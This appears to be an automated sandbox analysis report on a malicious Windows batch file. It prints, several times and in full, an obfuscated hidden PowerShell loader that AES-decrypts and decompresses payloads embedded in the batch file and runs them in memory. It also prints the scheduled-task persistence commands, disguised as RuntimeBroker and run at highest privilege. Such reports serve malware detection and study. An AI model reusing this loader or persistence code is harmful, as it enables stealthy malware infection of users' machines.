Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\e45iasd.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_616.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_616.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF886C4C3F2	5_2_00007FF886C4C3F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF886C4B646	5_2_00007FF886C4B646
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF886C4B149	5_2_00007FF886C4B149
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C56DF0	24_2_00007FF886C56DF0
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C5F658	24_2_00007FF886C5F658
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C5D96D	24_2_00007FF886C5D96D
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C5F930	24_2_00007FF886C5F930
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 24_2_00007FF886C6DA20	24_2_00007FF886C6DA20
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C46DF0	26_2_00007FF886C46DF0
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C4F6D5	26_2_00007FF886C4F6D5
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C4DBD5	26_2_00007FF886C4DBD5
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C4EA40	26_2_00007FF886C4EA40
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C5DA20	26_2_00007FF886C5DA20
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C4C93B	26_2_00007FF886C4C93B
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C4CA90	26_2_00007FF886C4CA90
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C4F2A4	26_2_00007FF886C4F2A4
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Code function: 26_2_00007FF886C4CA35	26_2_00007FF886C4CA35

Source: 5.2.powershell.exe.263b4b2c370.10.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.263b45551b0.9.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.263bc030000.12.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.263b45a51e8.8.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 5.2.powershell.exe.263b4b2c370.10.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.263b4b2c370.10.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.263b45a51e8.8.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.263b45a51e8.8.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.263b45551b0.9.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.263b45551b0.9.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.263bc030000.12.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.powershell.exe.263bc030000.12.raw.unpack, sjQgeJFGkOfBsyocSykt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.expl.evad.winBAT@33/23@1/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\startup_str_616.vbs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5664:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Mutant created: NULL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\JnG5DxKNjDpRvsxT
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Mutant created: \Sessions\1\BaseNamedObjects\PSReadLineHistoryFile_-257576312
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ekz4pmvr.jgv.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pollosappnuevo.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_616_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_616.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\net.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pollosappnuevo.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net file
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 file
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_616_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_616.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_616.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_616.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_616.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net file
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 file
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\AppData\Local\Temp\e45iasd.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\e45iasd.exe C:\Users\user\AppData\Local\Temp\e45iasd.exe
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\e45iasd.exe "C:\Users\user\AppData\Local\Temp\e45iasd.exe"
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\e45iasd.exe "C:\Users\user\AppData\Local\Temp\e45iasd.exe"
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net file	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 file	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_616_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_616.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_616.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_616.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net file	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ 